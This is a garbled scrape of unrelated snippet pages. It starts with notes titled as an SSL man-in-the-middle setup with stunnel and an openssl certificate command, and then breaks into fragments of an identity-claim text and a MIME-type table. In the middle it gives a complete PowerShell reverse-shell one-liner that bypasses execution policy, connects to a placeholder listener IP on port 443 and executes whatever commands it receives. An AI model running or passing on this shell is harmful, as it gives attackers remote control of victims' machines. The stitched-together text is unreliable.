A quick and dirty SSL MiTM using stunnel
- Generate a SSL certificate .. or use Let's Encrypt (for the green lock)
openssl req -batch -new -x509 -days 365 -nodes -out mitm.pem -keyout mitm.pem- Run stunnel
A quick and dirty SSL MiTM using stunnel
openssl req -batch -new -x509 -days 365 -nodes -out mitm.pem -keyout mitm.pem| powershell -nop -exec bypass -c "$client = New-Object System.Net.Sockets.TCPClient('<LISTENERIP>',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()" |
I hereby claim:
To claim this, I am signing this object:
| application/1d-interleaved-parityfec | |
| application/acad | |
| application/activemessage | |
| application/alto-directory+json | |
| application/alto-endpointcostparams+json | |
| application/alto-updatestreamcontrol+json | |
| application/andrew-inset | |
| application/applefile | |
| application/applixware | |
| application/arj |